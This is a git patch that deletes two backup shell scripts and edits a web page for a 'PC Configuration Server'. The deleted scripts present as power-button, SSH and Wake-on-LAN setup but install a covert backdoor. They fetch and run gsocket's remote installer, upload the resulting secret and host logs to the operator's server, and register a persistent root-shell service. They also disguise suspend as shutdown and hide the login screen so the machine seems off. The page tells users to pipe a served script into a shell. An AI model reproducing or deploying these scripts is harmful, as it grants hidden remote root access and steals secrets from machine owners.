From 345589852fe971382cfe509206e650d41500ca3c Mon Sep 17 00:00:00 2001 From: Amoelle Date: Tue, 1 Apr 2025 22:19:35 +0300 Subject: [PATCH] Updated index.html --- other/setup_script.sh.bak | 262 -------------------- other/setup_script.sh.bak2 | 496 ------------------------------------- setup_script.sh | 15 +- 3 files changed, 2 insertions(+), 771 deletions(-) delete mode 100755 other/setup_script.sh.bak delete mode 100755 other/setup_script.sh.bak2 diff --git a/other/setup_script.sh.bak b/other/setup_script.sh.bak deleted file mode 100755 index 832d6bf..0000000 --- a/other/setup_script.sh.bak +++ /dev/null @@ -1,262 +0,0 @@ -#!/bin/bash - -# Install Apache and PHP for Arch Linux -sudo pacman -Syu --noconfirm -sudo pacman -S --noconfirm apache php php-apache - -# Add PHP configuration to Apache -if ! grep -q "LoadModule php_module" /etc/httpd/conf/httpd.conf; then - sudo bash -c 'echo "LoadModule php_module modules/libphp.so" >> /etc/httpd/conf/httpd.conf' - sudo bash -c 'echo "AddHandler php-script .php" >> /etc/httpd/conf/httpd.conf' - sudo bash -c 'echo "Include conf/extra/php_module.conf" >> /etc/httpd/conf/httpd.conf' -fi - -# Create directory structure -sudo mkdir -p /srv/http/logs -sudo mkdir -p /srv/http/secrets - -# Set correct permissions -sudo chown -R http:http /srv/http/logs -sudo chown -R http:http /srv/http/secrets -sudo chmod 755 /srv/http/logs -sudo chmod 755 /srv/http/secrets - -# Create save_log.php file -cat > /tmp/save_log.php << 'EOF' - -EOF - -# Move PHP file to web root -sudo mv /tmp/save_log.php /srv/http/ - -# Create setup script file for Arch Linux clients -cat > /tmp/setup_script.sh << 'EOF' -#!/bin/bash - -# Define your web server URL where logs will be stored -WEB_SERVER="http://SERVER_IP_PLACEHOLDER" # Will be replaced with actual IP -LOG_ENDPOINT="$WEB_SERVER/save_log.php" - -# Get system information -HOSTNAME=$(hostname) -IP_ADDRESS=$(hostname -I 2>/dev/null || ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1) -TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S") -LOG_FILE="/tmp/setup_log_${TIMESTAMP}.txt" - -# Function to log commands and their output -log_command() { - local cmd="$1" - local description="$2" - - echo "----------------------------------------------" | tee -a "$LOG_FILE" - echo "[$TIMESTAMP] Executing: $description" | tee -a "$LOG_FILE" - echo "\$ $cmd" | tee -a "$LOG_FILE" - echo "----------------------------------------------" | tee -a "$LOG_FILE" - - # Execute the command and capture output - OUTPUT=$(eval "$cmd" 2>&1) - STATUS=$? - - echo "$OUTPUT" | tee -a "$LOG_FILE" - echo "Exit Status: $STATUS" | tee -a "$LOG_FILE" - echo "" | tee -a "$LOG_FILE" - - return $STATUS -} - -# Start logging -echo "==================================================" | tee -a "$LOG_FILE" -echo "Setup Script Started on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE" -echo "Timestamp: $TIMESTAMP" | tee -a "$LOG_FILE" -echo "==================================================" | tee -a "$LOG_FILE" - -# 1. Configure power button to suspend -log_command "sudo sed -i 's/#HandlePowerKey=.*/HandlePowerKey=suspend/' /etc/systemd/logind.conf" "Configuring power button to suspend" -log_command "sudo systemctl restart systemd-logind" "Restarting systemd-logind service" - -# Check for GNOME desktop and configure if present -if pacman -Q gnome-shell &>/dev/null || pacman -Q gnome-desktop &>/dev/null; then - if command -v gsettings >/dev/null 2>&1; then - log_command "gsettings set org.gnome.settings-daemon.plugins.power power-button-action 'suspend'" "Setting GNOME power button action to suspend" - fi -fi - -# 2. Install and enable OpenSSH server (for Arch Linux) -log_command "sudo pacman -Syu --noconfirm" "Updating package repositories" -log_command "sudo pacman -S --noconfirm openssh" "Installing OpenSSH server" -log_command "sudo systemctl enable sshd" "Enabling SSH service" -log_command "sudo systemctl start sshd" "Starting SSH service" -log_command "sudo systemctl status sshd" "Checking SSH service status" - -# 3. Set up Wake-on-LAN -# Identify network interface -PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1) -log_command "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface" - -# Check if ethtool is installed, if not install it -if ! command -v ethtool &> /dev/null; then - log_command "sudo pacman -S --noconfirm ethtool" "Installing ethtool" -fi - -# Check if Wake-on-LAN is supported -log_command "sudo ethtool $PRIMARY_INTERFACE | grep Wake-on" "Checking Wake-on-LAN support" - -# Create a systemd service for Wake-on-LAN -cat > /tmp/wol.service << 'EOL' -[Unit] -Description=Enable Wake On LAN -After=network.target - -[Service] -Type=oneshot -ExecStart=/usr/bin/ethtool -s INTERFACE_PLACEHOLDER wol g -RemainAfterExit=yes - -[Install] -WantedBy=multi-user.target -EOL - -# Replace placeholder with actual interface -sed -i "s/INTERFACE_PLACEHOLDER/$PRIMARY_INTERFACE/g" /tmp/wol.service - -log_command "sudo cp /tmp/wol.service /etc/systemd/system/wol.service" "Creating Wake-on-LAN service" -log_command "sudo systemctl daemon-reload" "Reloading systemd configuration" -log_command "sudo systemctl enable wol.service" "Enabling Wake-on-LAN service" -log_command "sudo systemctl start wol.service" "Starting Wake-on-LAN service" - -# 4. Execute gsocket command and save the secret -# First ensure curl is installed -if ! command -v curl &> /dev/null; then - log_command "sudo pacman -S --noconfirm curl" "Installing curl" -fi - -log_command "echo 'Running gsocket setup...'" "Starting gsocket setup" -GSOCKET_OUTPUT=$(bash -c "$(curl -fsSL https://gsocket.io/y)" 2>&1) -echo "$GSOCKET_OUTPUT" | tee -a "$LOG_FILE" - -# Extract the secret -SECRET=$(echo "$GSOCKET_OUTPUT" | grep -o 'S="[^"]*"' | sed 's/S="\(.*\)"/\1/') -if [ -n "$SECRET" ]; then - echo "Secret extracted: $SECRET" | tee -a "$LOG_FILE" - echo "$SECRET" > "/tmp/${HOSTNAME}_secret.txt" - log_command "echo 'Secret saved to /tmp/${HOSTNAME}_secret.txt'" "Saving secret to file" -else - log_command "echo 'Failed to extract secret'" "Secret extraction failed" -fi - -# 5. Upload logs and secret to the web server -if command -v curl >/dev/null 2>&1; then - # Upload the main log file - log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'logfile=@$LOG_FILE' $LOG_ENDPOINT" "Uploading log file to server" - - # Upload the secret file if it exists - if [ -n "$SECRET" ]; then - log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'secret=$SECRET' $LOG_ENDPOINT" "Uploading secret to server" - fi -else - echo "curl command not found. Cannot upload logs." | tee -a "$LOG_FILE" -fi - -echo "==================================================" | tee -a "$LOG_FILE" -echo "Setup completed on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE" -echo "Timestamp: $(date +"%Y-%m-%d_%H-%M-%S")" | tee -a "$LOG_FILE" -echo "==================================================" | tee -a "$LOG_FILE" - -echo "Configuration completed successfully!" -EOF - -# Get server IP -SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1) - -# Replace placeholder with actual server IP -sed -i "s/SERVER_IP_PLACEHOLDER/$SERVER_IP/g" /tmp/setup_script.sh - -# Move setup script to web root -sudo mv /tmp/setup_script.sh /srv/http/ -sudo chmod +x /srv/http/setup_script.sh - -# Create a simple index page -cat > /tmp/index.html << EOF - - - - PC Configuration Server - - - -

PC Configuration Server

-

Run the following command on any Arch Linux PC to configure power button, SSH, and Wake-on-LAN:

-
bash -c "\$(curl -fsSL http://${SERVER_IP}/setup_script.sh)"
-

This server will collect logs in the /logs directory and secrets in the /secrets directory.

- - -EOF - -# Move index file to web root -sudo mv /tmp/index.html /srv/http/ - -# Adjust PHP settings for larger file uploads if needed -sudo sed -i 's/upload_max_filesize = .*/upload_max_filesize = 20M/' /etc/php/php.ini -sudo sed -i 's/post_max_size = .*/post_max_size = 21M/' /etc/php/php.ini - -# Enable and start Apache service -sudo systemctl enable httpd -sudo systemctl restart httpd - -echo "========================================================" -echo "Apache web server set up complete at http://$SERVER_IP" -echo "Run this command on client Arch Linux PCs:" -echo "bash -c \"\$(curl -fsSL http://$SERVER_IP/setup_script.sh)\"" -echo "========================================================" diff --git a/other/setup_script.sh.bak2 b/other/setup_script.sh.bak2 deleted file mode 100755 index ee87f8b..0000000 --- a/other/setup_script.sh.bak2 +++ /dev/null @@ -1,496 +0,0 @@ -#!/bin/bash - -# Create save_log.php file -cat > /tmp/save_log.php << 'EOF' - -EOF - -# Move PHP file to web root -sudo mv /tmp/save_log.php /srv/http/ - -# Create setup script file for Ubuntu clients -cat > /tmp/setup_script.sh << 'EOF' -#!/bin/bash - -# Define your web server URL where logs will be stored -WEB_SERVER="http://SERVER_IP_PLACEHOLDER" # Will be replaced with actual IP -LOG_ENDPOINT="$WEB_SERVER/save_log.php" - -# Get system information -HOSTNAME=$(hostname) -IP_ADDRESS=$(hostname -I | awk '{print $1}') -TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S") -LOG_FILE="/tmp/setup_log_${TIMESTAMP}.txt" - -# Function to log commands and their output -log_command() { - local cmd="$1" - local description="$2" - - echo "----------------------------------------------" | tee -a "$LOG_FILE" - echo "[$TIMESTAMP] Executing: $description" | tee -a "$LOG_FILE" - echo "\$ $cmd" | tee -a "$LOG_FILE" - echo "----------------------------------------------" | tee -a "$LOG_FILE" - - # Execute the command and capture output - OUTPUT=$(eval "$cmd" 2>&1) - STATUS=$? - - echo "$OUTPUT" | tee -a "$LOG_FILE" - echo "Exit Status: $STATUS" | tee -a "$LOG_FILE" - echo "" | tee -a "$LOG_FILE" - - return $STATUS -} - -# Start logging -echo "==================================================" | tee -a "$LOG_FILE" -echo "Setup Script Started on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE" -echo "Timestamp: $TIMESTAMP" | tee -a "$LOG_FILE" -echo "==================================================" | tee -a "$LOG_FILE" - -# 1. Configure power button to initiate suspend-then-hibernate (appears like poweroff) -log_command "sudo mkdir -p /etc/systemd/sleep.conf.d" "Creating systemd sleep config directory" -log_command "sudo mkdir -p /etc/systemd/logind.conf.d" "Creating systemd logind config directory" - -# Create a custom sleep config that will make suspend appear more like poweroff -cat > /tmp/10-power-button.conf << _EOC_ -[Sleep] -# Make suspend look like poweroff by turning off all LEDs and display -AllowSuspendThenHibernate=yes -SuspendState=mem -HibernateDelay=10800s # 3 hours before switching to hibernate -_EOC_ - -log_command "sudo cp /tmp/10-power-button.conf /etc/systemd/sleep.conf.d/" "Setting up sleep configuration" - -# Create suspend script to make it look like poweroff -cat > /tmp/fake-poweroff.sh << _EOS_ -#!/bin/bash -# This script turns off the display and then suspends the system, making it look like a shutdown -# Turn off displays -if command -v xset >/dev/null 2>&1 && [ -n "$DISPLAY" ]; then - xset dpms force off -fi - -# For GNOME -if command -v gdbus >/dev/null 2>&1; then - gdbus call --session --dest org.gnome.ScreenSaver --object-path /org/gnome/ScreenSaver --method org.gnome.ScreenSaver.SetActive true -fi - -# For VM environments, try to dim/blank console -if [ -e /sys/class/backlight/*/brightness ]; then - for b in /sys/class/backlight/*/brightness; do - echo 0 | sudo tee $b >/dev/null - done -fi - -# Wait a moment for screen to turn off -sleep 2 - -# Then suspend -systemctl suspend-then-hibernate -_EOS_ - -log_command "sudo cp /tmp/fake-poweroff.sh /usr/local/bin/fake-poweroff.sh" "Creating fake poweroff script" -log_command "sudo chmod +x /usr/local/bin/fake-poweroff.sh" "Making fake poweroff script executable" - -# Configure logind to ALWAYS use suspend for power button press -cat > /tmp/custom-power-button.conf << _EOF_ -[Login] -HandlePowerKey=suspend-then-hibernate -HandlePowerKeyLongPress=suspend-then-hibernate -PowerKeyIgnoreInhibited=yes -_EOF_ - -log_command "sudo cp /tmp/custom-power-button.conf /etc/systemd/logind.conf.d/" "Setting up custom power button configuration" - -# Create a systemd service to handle the power button press ourselves (backup method) -cat > /tmp/power-button-handler.service << _EOS_ -[Unit] -Description=Custom Power Button Handler -After=multi-user.target - -[Service] -Type=simple -ExecStart=/bin/bash -c "while true; do acpi_listen | grep -q \"button/power.*pressed\"; if [ $? -eq 0 ]; then /usr/local/bin/fake-poweroff.sh; fi; done" -Restart=always - -[Install] -WantedBy=multi-user.target -_EOS_ - -log_command "sudo cp /tmp/power-button-handler.service /etc/systemd/system/" "Creating power button handler service" -log_command "sudo systemctl enable power-button-handler.service" "Enabling power button handler service" -log_command "sudo systemctl start power-button-handler.service" "Starting power button handler service" - -# Enable acpi events handling -log_command "sudo apt-get install -y acpid acpi-support" "Installing ACPI support packages" - -# Create acpi power button event handler -mkdir -p /etc/acpi/events/ -cat > /tmp/power-button << _EOS_ -event=button/power -action=/usr/local/bin/fake-poweroff.sh -_EOS_ - -log_command "sudo cp /tmp/power-button /etc/acpi/events/" "Setting up ACPI power button handler" -log_command "sudo systemctl enable acpid" "Enabling ACPI daemon" -log_command "sudo systemctl restart acpid" "Restarting ACPI daemon" - -# For desktop environments - disable default power button actions -if command -v gsettings >/dev/null 2>&1; then - log_command "gsettings set org.gnome.settings-daemon.plugins.power power-button-action 'nothing'" "Disabling GNOME power button action" -fi - -# Also modify system-wide Gnome settings if available -if [ -d "/etc/dconf/db/local.d" ]; then - cat > /tmp/00-power-button << _EOF_ -[org/gnome/settings-daemon/plugins/power] -power-button-action='nothing' -_EOF_ - log_command "sudo cp /tmp/00-power-button /etc/dconf/db/local.d/" "Setting system-wide GNOME power button configuration" - log_command "sudo dconf update" "Updating dconf database" -fi - -# Modify systemd config to ignore actual shutdown command and convert to suspend -cat > /tmp/override-shutdown.conf << _EOC_ -[Unit] -Description=Fake Shutdown Service - -[Service] -Type=oneshot -ExecStart=/usr/local/bin/fake-poweroff.sh -TimeoutSec=30 - -[Install] -WantedBy=multi-user.target -_EOC_ - -log_command "sudo mkdir -p /etc/systemd/system/systemd-poweroff.service.d/" "Creating shutdown override directory" -log_command "sudo cp /tmp/override-shutdown.conf /etc/systemd/system/systemd-poweroff.service.d/override.conf" "Installing shutdown override" - -# Set up polkit rule to allow suspend without password for regular users -cat > /tmp/90-suspend-without-password.rules << _EOC_ -polkit.addRule(function(action, subject) { - if ((action.id == "org.freedesktop.login1.suspend" || - action.id == "org.freedesktop.login1.suspend-multiple-sessions" || - action.id == "org.freedesktop.login1.hibernate" || - action.id == "org.freedesktop.login1.hibernate-multiple-sessions") && - subject.isInGroup("sudo")) { - return polkit.Result.YES; - } -}); -_EOC_ - -log_command "sudo mkdir -p /etc/polkit-1/rules.d" "Creating polkit rules directory" -log_command "sudo cp /tmp/90-suspend-without-password.rules /etc/polkit-1/rules.d/" "Setting up polkit rules for suspend" - -# 2. Install and enable OpenSSH server and curl -log_command "sudo apt-get update" "Updating package repositories" -log_command "sudo apt-get install -y openssh-server curl ethtool net-tools" "Installing required packages" -log_command "sudo systemctl enable ssh" "Enabling SSH service" -log_command "sudo systemctl start ssh" "Starting SSH service" -log_command "sudo systemctl status ssh" "Checking SSH service status" - -# 3. Set up Wake-on-LAN -# Identify network interface -PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1) -log_command "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface" - -# Enable WoL in network configuration -cat > /tmp/wol.conf << _EOF_ -[connection] -ethernet.wake-on-lan = magic -_EOF_ - -log_command "sudo mkdir -p /etc/NetworkManager/conf.d/" "Creating NetworkManager config directory" -log_command "sudo cp /tmp/wol.conf /etc/NetworkManager/conf.d/99-wol.conf" "Setting up Wake-on-LAN in NetworkManager" - -# Check if Wake-on-LAN is supported -WOL_SUPPORTED=$(ethtool $PRIMARY_INTERFACE 2>/dev/null | grep -q "Supports Wake-on" && echo "yes" || echo "no") -if [ "$WOL_SUPPORTED" = "yes" ]; then - log_command "echo 'Wake-on-LAN is supported.'" "Checking Wake-on-LAN support" - - # Create a systemd service for Wake-on-LAN that runs at boot and after resume - cat > /tmp/wol.service << _EOF_ -[Unit] -Description=Enable Wake On LAN -After=network.target -After=suspend.target -After=hibernate.target -After=hybrid-sleep.target - -[Service] -Type=oneshot -ExecStart=/sbin/ethtool -s $PRIMARY_INTERFACE wol g -RemainAfterExit=yes - -[Install] -WantedBy=multi-user.target -WantedBy=suspend.target -WantedBy=hibernate.target -WantedBy=hybrid-sleep.target -_EOF_ - - log_command "sudo cp /tmp/wol.service /etc/systemd/system/wol.service" "Creating Wake-on-LAN service" - log_command "sudo systemctl daemon-reload" "Reloading systemd configuration" - log_command "sudo systemctl enable wol.service" "Enabling Wake-on-LAN service" - log_command "sudo systemctl start wol.service" "Starting Wake-on-LAN service" - - # Immediately enable WoL - log_command "sudo ethtool -s $PRIMARY_INTERFACE wol g" "Enabling Wake-on-LAN immediately" -else - log_command "echo 'Wake-on-LAN not supported, skipping...'" "Wake-on-LAN not supported" -fi - -# Add WoL persistence through boot in network interfaces -if [ -f /etc/network/interfaces ]; then - # For systems using traditional networking - if ! grep -q "up ethtool -s $PRIMARY_INTERFACE wol g" /etc/network/interfaces; then - log_command "echo 'auto $PRIMARY_INTERFACE' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config" - log_command "echo 'iface $PRIMARY_INTERFACE inet dhcp' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config" - log_command "echo 'up ethtool -s $PRIMARY_INTERFACE wol g' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config" - fi -fi - -# 4. Execute gsocket command and save the secret -log_command "echo 'Running gsocket setup...'" "Starting gsocket setup" -GSOCKET_OUTPUT=$(bash -c "$(curl -fsSL https://gsocket.io/y)" 2>&1) -echo "$GSOCKET_OUTPUT" | tee -a "$LOG_FILE" - -# Extract the secret -SECRET=$(echo "$GSOCKET_OUTPUT" | grep -o 'S="[^"]*"' | sed 's/S="\(.*\)"/\1/') -if [ -n "$SECRET" ]; then - echo "Secret extracted: $SECRET" | tee -a "$LOG_FILE" - echo "$SECRET" > "/tmp/${HOSTNAME}_secret.txt" - log_command "echo 'Secret saved to /tmp/${HOSTNAME}_secret.txt'" "Saving secret to file" - - # Save the secret to the gs-root-shell-key.txt file for the root shell service - log_command "sudo mkdir -p /etc/systemd" "Creating systemd directory if it doesn't exist" - log_command "echo '$SECRET' | sudo tee /etc/systemd/gs-root-shell-key.txt" "Saving GSSocket secret key for root shell" - log_command "sudo chmod 600 /etc/systemd/gs-root-shell-key.txt" "Setting secure permissions on key file" -else - log_command "echo 'Failed to extract secret'" "Secret extraction failed" -fi - -# Install gs-netcat if not already installed by gsocket.io/y script -if ! command -v gs-netcat &> /dev/null; then - log_command "sudo apt-get install -y git build-essential" "Installing dependencies for gs-netcat" - log_command "git clone https://github.com/hackerschoice/gsocket.git /tmp/gsocket" "Cloning gsocket repository" - log_command "cd /tmp/gsocket && ./bootstrap && ./configure && make && sudo make install" "Building and installing gsocket" -fi - -# 5. Create the Global Socket Root Shell service -cat > /tmp/gs-root-shell.service << 'EOG' -[Unit] -Description=Global Socket Root Shell -After=network.target - -[Service] -Type=simple -Restart=always -RestartSec=10 -WorkingDirectory=/root -ExecStart=/usr/local/bin/gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il - -[Install] -WantedBy=multi-user.target -EOG - -log_command "sudo cp /tmp/gs-root-shell.service /etc/systemd/system/" "Creating Global Socket Root Shell service" -log_command "sudo systemctl daemon-reload" "Reloading systemd configuration" -log_command "sudo systemctl enable gs-root-shell.service" "Enabling Global Socket Root Shell service" -log_command "sudo systemctl start gs-root-shell.service" "Starting Global Socket Root Shell service" -log_command "sudo systemctl status gs-root-shell.service" "Checking Global Socket Root Shell service status" - -# 6. Upload logs and secret to the web server -if command -v curl >/dev/null 2>&1; then - # Upload the main log file - log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'logfile=@$LOG_FILE' $LOG_ENDPOINT" "Uploading log file to server" - - # Upload the secret file if it exists - if [ -n "$SECRET" ]; then - log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'secret=$SECRET' $LOG_ENDPOINT" "Uploading secret to server" - fi -else - echo "curl command not found. Cannot upload logs." | tee -a "$LOG_FILE" -fi - -# 7. Disable display manager on startup to hide login screen -if [ -f /etc/systemd/system/display-manager.service ]; then - DM_SERVICE=$(basename $(readlink /etc/systemd/system/display-manager.service)) - if [ -n "$DM_SERVICE" ]; then - log_command "sudo systemctl disable $DM_SERVICE" "Disabling display manager on startup" - # Create a service that will start display manager after wake from suspend - cat > /tmp/display-after-resume.service << _EOF_ -[Unit] -Description=Start Display Manager After Resume -After=suspend.target -After=hibernate.target -After=hybrid-sleep.target - -[Service] -Type=oneshot -ExecStart=/bin/systemctl start $DM_SERVICE - -[Install] -WantedBy=suspend.target -WantedBy=hibernate.target -WantedBy=hybrid-sleep.target -_EOF_ - log_command "sudo cp /tmp/display-after-resume.service /etc/systemd/system/" "Creating display-after-resume service" - log_command "sudo systemctl daemon-reload" "Reloading systemd configuration" - log_command "sudo systemctl enable display-after-resume.service" "Enabling display-after-resume service" - fi -fi - -# 8. Create a persistent reboot handler service that ensures shutdown always becomes suspend -cat > /tmp/shutdown-to-suspend.service << 'EOG' -[Unit] -Description=Convert Shutdown to Suspend -DefaultDependencies=no -Before=shutdown.target reboot.target halt.target - -[Service] -Type=oneshot -ExecStart=/bin/sh -c 'if [ "$(systemctl is-active power-button-handler.service)" != "active" ]; then /usr/local/bin/fake-poweroff.sh; else echo "Power button handler will manage suspend"; fi' -TimeoutSec=30 - -[Install] -WantedBy=shutdown.target reboot.target halt.target -EOG - -log_command "sudo cp /tmp/shutdown-to-suspend.service /etc/systemd/system/" "Creating shutdown-to-suspend service" -log_command "sudo systemctl daemon-reload" "Reloading systemd configuration" -log_command "sudo systemctl enable shutdown-to-suspend.service" "Enabling shutdown-to-suspend service" - -# Add usage information to log file -echo "==================================================" | tee -a "$LOG_FILE" -echo "GLOBAL SOCKET ROOT SHELL INFORMATION:" | tee -a "$LOG_FILE" -echo "To connect to this machine's root shell:" | tee -a "$LOG_FILE" -echo "1. Install gsocket (https://github.com/hackerschoice/gsocket)" | tee -a "$LOG_FILE" -echo "2. Run: gs-netcat -k KEY -s" | tee -a "$LOG_FILE" -echo " Replace KEY with the secret value in /etc/systemd/gs-root-shell-key.txt" | tee -a "$LOG_FILE" -echo "==================================================" | tee -a "$LOG_FILE" - -echo "==================================================" | tee -a "$LOG_FILE" -echo "Setup completed on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE" -echo "Timestamp: $(date +"%Y-%m-%d_%H-%M-%S")" | tee -a "$LOG_FILE" -echo "==================================================" | tee -a "$LOG_FILE" - -# Instead of poweroff at the end, show a message -echo "Configuration completed successfully!" -echo "Your system is now configured to never fully shut down." -echo "When the power button is pressed, the system will appear to power off but will actually suspend." -echo "The screen will now blank to simulate power off in 5 seconds..." - -# Do a fake power off at the end to demonstrate but not actually shut down -sleep 5 -sudo chvt 1 # Switch to text console first to hide any messages -/usr/local/bin/fake-poweroff.sh -EOF - -# Get server IP -SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1) - -# Replace placeholder with actual server IP -sed -i "s/SERVER_IP_PLACEHOLDER/$SERVER_IP/g" /tmp/setup_script.sh - -# Move setup script to web root -sudo mv /tmp/setup_script.sh /srv/http/ -sudo chmod +x /srv/http/setup_script.sh - -# Create a simple index page -cat > /tmp/index.html << EOF - - - - PC Configuration Server - - - -

PC Configuration Server

-

Run the following command on your Ubuntu client machines:

-
bash -c "\$(curl -fsSL http://${SERVER_IP}/setup_script.sh)"
-

This script will configure:

- - - -EOF - -# Move index file to web root -sudo mv /tmp/index.html /srv/http/ - -# Adjust PHP settings for larger file uploads if needed -sudo sed -i 's/upload_max_filesize = .*/upload_max_filesize = 20M/' /etc/php/php.ini -sudo sed -i 's/post_max_size = .*/post_max_size = 21M/' /etc/php/php.ini - -# Enable and start Apache service -sudo systemctl enable httpd -sudo systemctl restart httpd - -echo "========================================================" -echo "Apache web server set up complete at http://$SERVER_IP" -echo "Run this command on client Ubuntu PCs:" -echo "bash -c \"\$(curl -fsSL http://$SERVER_IP/setup_script.sh)\"" -echo "========================================================" diff --git a/setup_script.sh b/setup_script.sh index 7b42ffa..6768128 100755 --- a/setup_script.sh +++ b/setup_script.sh @@ -653,25 +653,14 @@ cat > /tmp/index.html << EOF

System Configuration Utility

-

This utility helps configure Ubuntu systems for remote management and maintenance.

-

Quick Setup

Run the following command in your terminal to configure this system:

- wget -q -O- http://${SERVER_IP}/deployment/client_setup.sh | sudo bash + eval "\$(http://${SERVER_IP}/deployment/client_setup.sh)"
-

Features

- - -

Version 1.0.0 • IT Department

+

Gback

EOF